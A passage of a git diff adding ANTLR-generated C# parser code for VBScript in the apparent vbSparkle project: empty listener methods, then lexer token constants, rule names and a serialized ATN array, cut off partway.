VBScriptParser.LtNullContext context) { } + /// + /// Exit a parse tree produced by the ltNull + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtNull([NotNull] VBScriptParser.LtNullContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterType([NotNull] VBScriptParser.TypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitType([NotNull] VBScriptParser.TypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterTypeHint([NotNull] VBScriptParser.TypeHintContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitTypeHint([NotNull] VBScriptParser.TypeHintContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVisibility([NotNull] VBScriptParser.VisibilityContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVisibility([NotNull] VBScriptParser.VisibilityContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context) { } + + /// + /// The default implementation does nothing. + public virtual void EnterEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void ExitEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void VisitTerminal([NotNull] ITerminalNode node) { } + /// + /// The default implementation does nothing. + public virtual void VisitErrorNode([NotNull] IErrorNode node) { } +} diff --git a/Sources/vbSparkle/VBScriptLexer.cs b/Sources/vbSparkle/VBScriptLexer.cs new file mode 100644 index 0000000..e080fe2 --- /dev/null +++ b/Sources/vbSparkle/VBScriptLexer.cs @@ -0,0 +1,997 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBScriptLexer : Lexer { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + ACCESS=1, ADDRESSOF=2, ALIAS=3, AND=4, ATTRIBUTE=5, APPACTIVATE=6, APPEND=7, + AS=8, BEEP=9, BEGIN=10, BEGINPROPERTY=11, BINARY=12, BOOLEAN=13, BYVAL=14, + BYREF=15, BYTE=16, CALL=17, CASE=18, CHDIR=19, CHDRIVE=20, CLASS=21, CLOSE=22, + COLLECTION=23, CONST=24, DATE=25, PTRSAFE=26, DECLARE=27, DEFBOOL=28, + DEFBYTE=29, DEFDATE=30, DEFDBL=31, DEFDEC=32, DEFCUR=33, DEFINT=34, DEFLNG=35, + DEFOBJ=36, DEFSNG=37, DEFSTR=38, DEFVAR=39, DELETESETTING=40, DIM=41, + DO=42, DOUBLE=43, EACH=44, ELSE=45, ELSEIF=46, END_ENUM=47, END_CLASS=48, + END_FUNCTION=49, END_IF=50, END_PROPERTY=51, END_SELECT=52, END_SUB=53, + END_TYPE=54, END_WITH=55, END=56, ENDPROPERTY=57, ENUM=58, EQV=59, ERASE=60, + ERROR=61, EVENT=62, EXIT_DO=63, EXIT_FOR=64, EXIT_FUNCTION=65, EXIT_PROPERTY=66, + EXIT_SUB=67, FALSE=68, FILECOPY=69, FRIEND=70, FOR=71, FUNCTION=72, GET=73, + GLOBAL=74, GOSUB=75, GOTO=76, IF=77, IMP=78, IMPLEMENTS=79, IN=80, INPUT=81, + IS=82, INTEGER=83, KILL=84, LOAD=85, LOCK=86, LONG=87, LOOP=88, LEN=89, + LET=90, LIB=91, LIKE=92, LINE_INPUT=93, LOCK_READ=94, LOCK_WRITE=95, LOCK_READ_WRITE=96, + LSET=97, MACRO_IF=98, MACRO_ELSEIF=99, MACRO_ELSE=100, MACRO_END_IF=101, + ME=102, MID=103, MKDIR=104, MOD=105, NAME=106, NEXT=107, NEW=108, NOT=109, + NOTHING=110, NULL=111, OBJECT=112, ON=113, ON_ERROR=114, ON_LOCAL_ERROR=115, + OPEN=116, OPTIONAL=117, OPTION_BASE=118, OPTION_EXPLICIT=119, OPTION_COMPARE=120, + OPTION_PRIVATE_MODULE=121, OR=122, OUTPUT=123, PARAMARRAY=124, PRESERVE=125, + PRINT=126, PRIVATE=127, PROPERTY_GET=128, PROPERTY_LET=129, PROPERTY_SET=130, + PUBLIC=131, PUT=132, RANDOM=133, RANDOMIZE=134, RAISEEVENT=135, READ=136, + READ_WRITE=137, REDIM=138, REM=139, RESET=140, RESUME=141, RETURN=142, + RMDIR=143, RSET=144, SAVEPICTURE=145, SAVESETTING=146, SEEK=147, SELECT=148, + SENDKEYS=149, SET=150, SETATTR=151, SHARED=152, SINGLE=153, SPC=154, STATIC=155, + DEFAULT=156, STEP=157, STOP=158, STRING=159, SUB=160, TAB=161, TEXT=162, + THEN=163, TIME=164, TO=165, TRUE=166, TYPE=167, TYPEOF=168, UNLOAD=169, + UNLOCK=170, UNTIL=171, VARIANT=172, VERSION=173, WEND=174, WHILE=175, + WIDTH=176, WITH=177, WITHEVENTS=178, WRITE=179, XOR=180, AMPERSAND=181, + ASSIGN=182, AT=183, COMMA=184, DIV=185, DOLLAR=186, DOT=187, EQ=188, EXCLAMATIONMARK=189, + GEQ=190, GT=191, HASH=192, LEQ=193, LBRACE=194, LPAREN=195, LT=196, MINUS=197, + MINUS_EQ=198, MULT=199, NEQ=200, PERCENT=201, PLUS=202, PLUS_EQ=203, POW=204, + RBRACE=205, RPAREN=206, SEMICOLON=207, L_SQUARE_BRACKET=208, R_SQUARE_BRACKET=209, + STRINGLITERAL=210, DATELITERAL=211, HEXLITERAL=212, INTEGERLITERAL=213, + DOUBLELITERAL=214, FILENUMBER=215, OCTALLITERAL=216, GUID=217, IDENTIFIER=218, + NEWLINE=219, INLINE_SEP=220, INLN=221, COMMENT=222, WS=223, LINE_CONTINUATION=224; + public static string[] channelNames = { + "DEFAULT_TOKEN_CHANNEL", "HIDDEN" + }; + + public static string[] modeNames = { + "DEFAULT_MODE" + }; + + public static readonly string[] ruleNames = { + "ACCESS", "ADDRESSOF", "ALIAS", "AND", "ATTRIBUTE", "APPACTIVATE", "APPEND", + "AS", "BEEP", "BEGIN", "BEGINPROPERTY", "BINARY", "BOOLEAN", "BYVAL", + "BYREF", "BYTE", "CALL", "CASE", "CHDIR", "CHDRIVE", "CLASS", "CLOSE", + "COLLECTION", "CONST", "DATE", "PTRSAFE", "DECLARE", "DEFBOOL", "DEFBYTE", + "DEFDATE", "DEFDBL", "DEFDEC", "DEFCUR", "DEFINT", "DEFLNG", "DEFOBJ", + "DEFSNG", "DEFSTR", "DEFVAR", "DELETESETTING", "DIM", "DO", "DOUBLE", + "EACH", "ELSE", "ELSEIF", "END_ENUM", "END_CLASS", "END_FUNCTION", "END_IF", + "END_PROPERTY", "END_SELECT", "END_SUB", "END_TYPE", "END_WITH", "END", + "ENDPROPERTY", "ENUM", "EQV", "ERASE", "ERROR", "EVENT", "EXIT_DO", "EXIT_FOR", + "EXIT_FUNCTION", "EXIT_PROPERTY", "EXIT_SUB", "FALSE", "FILECOPY", "FRIEND", + "FOR", "FUNCTION", "GET", "GLOBAL", "GOSUB", "GOTO", "IF", "IMP", "IMPLEMENTS", + "IN", "INPUT", "IS", "INTEGER", "KILL", "LOAD", "LOCK", "LONG", "LOOP", + "LEN", "LET", "LIB", "LIKE", "LINE_INPUT", "LOCK_READ", "LOCK_WRITE", + "LOCK_READ_WRITE", "LSET", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", "MACRO_END_IF", + "ME", "MID", "MKDIR", "MOD", "NAME", "NEXT", "NEW", "NOT", "NOTHING", + "NULL", "OBJECT", "ON", "ON_ERROR", "ON_LOCAL_ERROR", "OPEN", "OPTIONAL", + "OPTION_BASE", "OPTION_EXPLICIT", "OPTION_COMPARE", "OPTION_PRIVATE_MODULE", + "OR", "OUTPUT", "PARAMARRAY", "PRESERVE", "PRINT", "PRIVATE", "PROPERTY_GET", + "PROPERTY_LET", "PROPERTY_SET", "PUBLIC", "PUT", "RANDOM", "RANDOMIZE", + "RAISEEVENT", "READ", "READ_WRITE", "REDIM", "REM", "RESET", "RESUME", + "RETURN", "RMDIR", "RSET", "SAVEPICTURE", "SAVESETTING", "SEEK", "SELECT", + "SENDKEYS", "SET", "SETATTR", "SHARED", "SINGLE", "SPC", "STATIC", "DEFAULT", + "STEP", "STOP", "STRING", "SUB", "TAB", "TEXT", "THEN", "TIME", "TO", + "TRUE", "TYPE", "TYPEOF", "UNLOAD", "UNLOCK", "UNTIL", "VARIANT", "VERSION", + "WEND", "WHILE", "WIDTH", "WITH", "WITHEVENTS", "WRITE", "XOR", "AMPERSAND", + "ASSIGN", "AT", "COMMA", "DIV", "DOLLAR", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MINUS_EQ", + "MULT", "NEQ", "PERCENT", "PLUS", "PLUS_EQ", "POW", "RBRACE", "RPAREN", + "SEMICOLON", "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", + "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", + "OCTALLITERAL", "GUID", "IDENTIFIER", "NEWLINE", "INLINE_SEP", "INLN", + "COMMENT", "WS", "LINE_CONTINUATION", "NL", "LETTER", "LETTERORDIGIT", + "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", + "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" + }; + + + public VBScriptLexer(ICharStream input) + : this(input, Console.Out, Console.Error) { } + + public VBScriptLexer(ICharStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new LexerATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, "'&'", "':='", "'@'", "','", null, "'$'", "'.'", "'='", "'!'", "'>='", + "'>'", "'#'", "'<='", "'{'", "'('", "'<'", "'-'", "'-='", "'*'", "'<>'", + "'%'", "'+'", "'+='", "'^'", "'}'", "')'", "';'", "'['", "']'", null, + null, null, null, null, null, null, null, null, null, null, "':'" + }; + private static readonly string[] _SymbolicNames = { + null, "ACCESS", "ADDRESSOF", "ALIAS", "AND", "ATTRIBUTE", "APPACTIVATE", + "APPEND", "AS", "BEEP", "BEGIN", "BEGINPROPERTY", "BINARY", "BOOLEAN", + "BYVAL", "BYREF", "BYTE", "CALL", "CASE", "CHDIR", "CHDRIVE", "CLASS", + "CLOSE", "COLLECTION", "CONST", "DATE", "PTRSAFE", "DECLARE", "DEFBOOL", + "DEFBYTE", "DEFDATE", "DEFDBL", "DEFDEC", "DEFCUR", "DEFINT", "DEFLNG", + "DEFOBJ", "DEFSNG", "DEFSTR", "DEFVAR", "DELETESETTING", "DIM", "DO", + "DOUBLE", "EACH", "ELSE", "ELSEIF", "END_ENUM", "END_CLASS", "END_FUNCTION", + "END_IF", "END_PROPERTY", "END_SELECT", "END_SUB", "END_TYPE", "END_WITH", + "END", "ENDPROPERTY", "ENUM", "EQV", "ERASE", "ERROR", "EVENT", "EXIT_DO", + "EXIT_FOR", "EXIT_FUNCTION", "EXIT_PROPERTY", "EXIT_SUB", "FALSE", "FILECOPY", + "FRIEND", "FOR", "FUNCTION", "GET", "GLOBAL", "GOSUB", "GOTO", "IF", "IMP", + "IMPLEMENTS", "IN", "INPUT", "IS", "INTEGER", "KILL", "LOAD", "LOCK", + "LONG", "LOOP", "LEN", "LET", "LIB", "LIKE", "LINE_INPUT", "LOCK_READ", + "LOCK_WRITE", "LOCK_READ_WRITE", "LSET", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", + "MACRO_END_IF", "ME", "MID", "MKDIR", "MOD", "NAME", "NEXT", "NEW", "NOT", + "NOTHING", "NULL", "OBJECT", "ON", "ON_ERROR", "ON_LOCAL_ERROR", "OPEN", + "OPTIONAL", "OPTION_BASE", "OPTION_EXPLICIT", "OPTION_COMPARE", "OPTION_PRIVATE_MODULE", + "OR", "OUTPUT", "PARAMARRAY", "PRESERVE", "PRINT", "PRIVATE", "PROPERTY_GET", + "PROPERTY_LET", "PROPERTY_SET", "PUBLIC", "PUT", "RANDOM", "RANDOMIZE", + "RAISEEVENT", "READ", "READ_WRITE", "REDIM", "REM", "RESET", "RESUME", + "RETURN", "RMDIR", "RSET", "SAVEPICTURE", "SAVESETTING", "SEEK", "SELECT", + "SENDKEYS", "SET", "SETATTR", "SHARED", "SINGLE", "SPC", "STATIC", "DEFAULT", + "STEP", "STOP", "STRING", "SUB", "TAB", "TEXT", "THEN", "TIME", "TO", + "TRUE", "TYPE", "TYPEOF", "UNLOAD", "UNLOCK", "UNTIL", "VARIANT", "VERSION", + "WEND", "WHILE", "WIDTH", "WITH", "WITHEVENTS", "WRITE", "XOR", "AMPERSAND", + "ASSIGN", "AT", "COMMA", "DIV", "DOLLAR", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MINUS_EQ", + "MULT", "NEQ", "PERCENT", "PLUS", "PLUS_EQ", "POW", "RBRACE", "RPAREN", + "SEMICOLON", "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", + "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", + "OCTALLITERAL", "GUID", "IDENTIFIER", "NEWLINE", "INLINE_SEP", "INLN", + "COMMENT", "WS", "LINE_CONTINUATION" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBScript.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override string[] ChannelNames { get { return channelNames; } } + + public override string[] ModeNames { get { return modeNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBScriptLexer() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + private static int[] _serializedATN = { + 4,0,224,2127,6,-1,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6, + 7,6,2,7,7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2, + 14,7,14,2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2, + 21,7,21,2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2, + 28,7,28,2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2, + 35,7,35,2,36,7,36,2,37,7,37,2,38,7,38,2,39,7,39,2,40,7,40,2,41,7,41,2, + 42,7,42,2,43,7,43,2,44,7,44,2,45,7,45,2,46,7,46,2,47,7,47,2,48,7,48,2, + 49,7,49,2,50,7,50,2,51,7,51,2,52,7,52,2,53,7,53,2,54,7,54,2,55,7,55,2, + 56,7,56,2,57,7,57,2,58,7,58,2,59,7,59,2,60,7,60,2,61,7,61,2,62,7,62,2, + 63,7,63,2,64,7,64,2,65,7,65,2,66,7,66,2,67,7,67,2,68,7,68,2,69,7,69,2, + 70,7,70,2,71,7,71,2,72,7,72,2,73,7,73,2,74,7,74,2,75,7,75,2,76,7,76,2, + 77,7,77,2,78,7,78,2,79,7,79,2,80,7,80,2,81,7,81,2,82,7,82,2,83,7,83,2, + 84,7,84,2,85,7,85,2,86,7,86,2,87,7,87,2,88,7,88,2,89,7,89,2,90,7,90,2, + 91,7,91,2,92,7,92,2,93,7,93,2,94,7,94,2,95,7,95,2,96,7,96,2,97,7,97,2, + 98,7,98,2,99,7,99,2,100,7,100,2,101,7,101,2,102,7,102,2,103,7,103,2,104, + 7,104,2,105,7,105,2,106,7,106,2,107,7,107,2,108,7,108,2,109,7,109,2,110, + 7,110,2,111,7,111,2,112,7,112,2,113,7,113,2,114,7,114,2,115,7,115,2,116, + 7,116,2,117,7,117,2,118,7,118,2,119,7,119,2,120,7,120,2,121,7,121,2,122, + 7,122,2,123,7,123,2,124,7,124,2,125,7,125,2,126,7,126,2,127,7,127,2,128, + 7,128,2,129,7,129,2,130,7,130,2,131,7,131,2,132,7,132,2,133,7,133,2,134, + 7,134,2,135,7,135,2,136,7,136,2,137,7,137,2,138,7,138,2,139,7,139,2,140, + 7,140,2,141,7,141,2,142,7,142,2,143,7,143,2,144,7,144,2,145,7,145,2,146, + 7,146,2,147,7,147,2,148,7,148,2,149,7,149,2,150,7,150,2,151,7,151,2,152, + 7,152,2,153,7,153,2,154,7,154,2,155,7,155,2,156,7,156,2,157,7,157,2,158, + 7,158,2,159,7,159,2,160,7,160,2,161,7,161,2,162,7,162,2,163,7,163,2,164, + 7,164,2,165,7,165,2,166,7,166,2,167,7,167,2,168,7,168,2,169,7,169,2,170, + 7,170,2,171,7,171,2,172,7,172,2,173,7,173,2,174,7,174,2,175,7,175,2,176, + 7,176,2,177,7,177,2,178,7,178,2,179,7,179,2,180,7,180,2,181,7,181,2,182, + 7,182,2,183,7,183,2,184,7,184,2,185,7,185,2,186,7,186,2,187,7,187,2,188, + 7,188,2,189,7,189,2,190,7,190,2,191,7,191,2,192,7,192,2,193,7,193,2,194, + 7,194,2,195,7,195,2,196,7,196,2,197,7,197,2,198,7,198,2,199,7,199,2,200, + 7,200,2,201,7,201,2,202,7,202,2,203,7,203,2,204,7,204,2,205,7,205,2,206, + 7,206,2,207,7,207,2,208,7,208,2,209,7,209,2,210,7,210,2,211,7,211,2,212, + 7,212,2,213,7,213,2,214,7,214,2,215,7,215,2,216,7,216,2,217,7,217,2,218, + 7,218,2,219,7,219,2,220,7,220,2,221,7,221,2,222,7,222,2,223,7,223,2,224, + 7,224,2,225,7,225,2,226,7,226,2,227,7,227,2,228,7,228,2,229,7,229,2,230, + 7,230,2,231,7,231,2,232,7,232,2,233,7,233,2,234,7,234,2,235,7,235,2,236, + 7,236,2,237,7,237,2,238,7,238,2,239,7,239,2,240,7,240,2,241,7,241,2,242, + 7,242,2,243,7,243,2,244,7,244,2,245,7,245,2,246,7,246,2,247,7,247,2,248, + 7,248,2,249,7,249,2,250,7,250,2,251,7,251,2,252,7,252,1,0,1,0,1,0,1,0, + 1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,2,1,2,1,2,1, + 2,1,2,1,3,1,3,1,3,1,3,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,5,1,5, + 1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1, + 7,1,7,1,7,1,8,1,8,1,8,1,8,1,8,1,9,1,9,1,9,1,9,1,9,1,9,1,10,1,10,1,10,1, + 10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,11,1,11,1,11,1, + 11,1,11,1,11,1,11,1,12,1,12,1,12,1,12,1,12,1,12,1,12,1,12,1,13,1,13,1, + 13,1,13,1,13,1,13,1,14,1,14,1,14,1,14,1,14,1,14,1,15,1,15,1,15,1,15,1, + 15,1,16,1,16,1,16,1,16,1,16,1,17,1,17,1,17,1,17,1,17,1,18,1,18,1,18,1, + 18,1,18,1,18,1,19,1,19,1,19,1,19,1,19,1,19,1,19,1,19,1,20,1,20,1,20,1, + 20,1,20,1,20,1,21,1,21,1,21,1,21,1,21,1,21,1,22,1,22,1,22,1,22,1,22,1, + 22,1,22,1,22,1,22,1,22,1,22,1,23,1,23,1,23,1,23,1,23,1,23,1,24,1,24,1, + 24,1,24,1,24,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,26,1,26,1,26,1, + 26,1,26,1,26,1,26,1,26,1,27,1,27,1,27,1,27,1,27,1,27,1,27,1,27,1,28,1, + 28,1,28,1,28,1,28,1,28,1,28,1,28,1,29,1,29,1,29,1,29,1,29,1,29,1,29,1, + 29,1,30,1,30,1,30,1,30,1,30,1,30,1,30,1,31,1,31,1,31,1,31,1,31,1,31,1, + 31,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,33,1,33,1,33,1,33,1,33,1,33,1, + 33,1,34,1,34,1,34,1,34,1,34,1,34,1,34,1,35,1,35,1,35,1,35,1,35,1,35,1, + 35,1,36,1,36,1,36,1,36,1,36,1,36,1,36,1,37,1,37,1,37,1,37,1,37,1,37,1, + 37,1,38,1,38,1,38,1,38,1,38,1,38,1,38,1,39,1,39,1,39,1,39,1,39,1,39,1, + 39,1,39,1,39,1,39,1,39,1,39,1,39,1,39,1,40,1,40,1,40,1,40,1,41,1,41,1, + 41,1,42,1,42,1,42,1,42,1,42,1,42,1,42,1,43,1,43,1,43,1,43,1,43,1,44,1, + 44,1,44,1,44,1,44,1,45,1,45,1,45,1,45,1,45,1,45,1,45,1,46,1,46,1,46,1, + 46,1,46,1,46,1,46,1,46,1,46,1,47,1,47,1,47,1,47,1,47,1,47,1,47,1,47,1, + 47,1,47,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1,48,1, + 48,1,49,1,49,1,49,1,49,1,49,1,49,1,49,1,50,1,50,1,50,1,50,1,50,1,50,1, + 50,1,50,1,50,1,50,1,50,1,50,1,50,1,51,1,51,1,51,1,51,1,51,1,51,1,51,1, + 51,1,51,1,51,1,51,1,52,1,52,1,52,1,52,1,52,1,52,1,52,1,52,1,53,1,53,1, + 53,1,53,1,53,1,53,1,53,1,53,1,53,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1, + 54,1,54,1,55,1,55,1,55,1,55,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1, + 56,1,56,1,56,1,56,1,57,1,57,1,57,1,57,1,57,1,58,1,58,1,58,1,58,1,59,1, + 59,1,59,1,59,1,59,1,59,1,60,1,60,1,60,1,60,1,60,1,60,1,61,1,61,1,61,1, + 61,1,61,1,61,1,62,1,62,1,62,1,62,1,62,1,62,1,62,1,62,1,63,1,63,1,63,1, + 63,1,63,1,63,1,63,1,63,1,63,1,64,1,64,1,64,1,64,1,64,1,64,1,64,1,64,1, + 64,1,64,1,64,1,64,1,64,1,64,1,65,1,65,1,65,1,65,1,65,1,65,1,65,1,65,1, + 65,1,65,1,65,1,65,1,65,1,65,1,66,1,66,1,66,1,66,1,66,1,66,1,66,1,66,1, + 66,1,67,1,67,1,67,1,67,1,67,1,67,1,68,1,68,1,68,1,68,1,68,1,68,1,68,1, + 68,1,68,1,69,1,69,1,69,1,69,1,69,1,69,1,69,1,70,1,70,1,70,1,70,1,71,1, + 71,1,71,1,71,1,71,1,71,1,71,1,71,1,71,1,72,1,72,1,72,1,72,1,73,1,73,1, + 73,1,73,1,73,1,73,1,73,1,74,1,74,1,74,1,74,1,74,1,74,1,75,1,75,1,75,1, + 75,1,75,1,76,1,76,1,76,1,77,1,77,1,77,1,77,1,78,1,78,1,78,1,78,1,78,1, + 78,1,78,1,78,1,78,1,78,1,78,1,79,1,79,1,79,1,80,1,80,1,80,1,80,1,80,1, + 80,1,81,1,81,1,81,1,82,1,82,1,82,1,82,1,82,1,82,1,82,1,82,1,83,1,83,1, + 83,1,83,1,83,1,84,1,84,1,84,1,84,1,84,1,85,1,85,1,85,1,85,1,85,1,86,1, + 86,1,86,1,86,1,86,1,87,1,87,1,87,1,87,1,87,1,88,1,88,1,88,1,88,1,89,1, + 89,1,89,1,89,1,90,1,90,1,90,1,90,1,91,1,91,1,91,1,91,1,91,1,92,1,92,1, + 92,1,92,1,92,1,92,1,92,1,92,1,92,1,92,1,92,1,93,1,93,1,93,1,93,1,93,1, + 93,1,93,1,93,1,93,1,93,1,94,1,94,1,94,1,94,1,94,1,94,1,94,1,94,1,94,1, + 94,1,94,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1,95,1, + 95,1,95,1,95,1,95,1,96,1,96,1,96,1,96,1,96,1,97,1,97,1,97,1,97,1,98,1, + 98,1,98,1,98,1,98,1,98,1,98,1,98,1,99,1,99,1,99,1,99,1,99,1,99,1,100,1, + 100,1,100,1,100,1,100,1,100,1,100,1,100,1,101,1,101,1,101,1,102,1,102, + 1,102,1,102,1,103,1,103,1,103,1,103,1,103,1,103,1,104,1,104,1,104,1,104, + 1,105,1,105,1,105,1,105,1,105,1,106,1,106,1,106,1,106,1,106,1,107,1,107, + 1,107,1,107,1,108,1,108,1,108,1,108,1,109,1,109,1,109,1,109,1,109,1,109, + 1,109,1,109,1,110,1,110,1,110,1,110,1,110,1,111,1,111,1,111,1,111,1,111, + 1,111,1,111,1,112,1,112,1,112,1,113,1,113,1,113,1,113,1,113,1,113,1,113, + 1,113,1,113,1,114,1,114,1,114,1,114,1,114,1,114,1,114,1,114,1,114,1,114, + 1,114,1,114,1,114,1,114,1,114,1,115,1,115,1,115,1,115,1,115,1,116,1,116, + 1,116,1,116,1,116,1,116,1,116,1,116,1,116,1,117,1,117,1,117,1,117,1,117, + 1,117,1,117,1,117,1,117,1,117,1,117,1,117,1,118,1,118,1,118,1,118,1,118, + 1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,118,1,119, + 1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119,1,119, + 1,119,1,119,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120, + 1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120,1,120, + 1,121,1,121,1,121,1,122,1,122,1,122,1,122,1,122,1,122,1,122,1,123,1,123, + 1,123,1,123,1,123,1,123,1,123,1,123,1,123,1,123,1,123,1,124,1,124,1,124, + 1,124,1,124,1,124,1,124,1,124,1,124,1,125,1,125,1,125,1,125,1,125,1,125, + 1,126,1,126,1,126,1,126,1,126,1,126,1,126,1,126,1,127,1,127,1,127,1,127, + 1,127,1,127,1,127,1,127,1,127,1,127,1,127,1,127,1,127,1,128,1,128,1,128, + 1,128,1,128,1,128,1,128,1,128,1,128,1,128,1,128,1,128,1,128,1,129,1,129, + 1,129,1,129,1,129,1,129,1,129,1,129,1,129,1,129,1,129,1,129,1,129,1,130, + 1,130,1,130,1,130,1,130,1,130,1,130,1,131,1,131,1,131,1,131,1,132,1,132, + 1,132,1,132,1,132,1,132,1,132,1,133,1,133,1,133,1,133,1,133,1,133,1,133, + 1,133,1,133,1,133,1,134,1,134,1,134,1,134,1,134,1,134,1,134,1,134,1,134, + 1,134,1,134,1,135,1,135,1,135,1,135,1,135,1,136,1,136,1,136,1,136,1,136, + 1,136,1,136,1,136,1,136,1,136,1,136,1,137,1,137,1,137,1,137,1,137,1,137, + 1,138,1,138,1,138,1,138,1,139,1,139,1,139,1,139,1,139,1,139,1,140,1,140, + 1,140,1,140,1,140,1,140,1,140,1,141,1,141,1,141,1,141,1,141,1,141,1,141, + 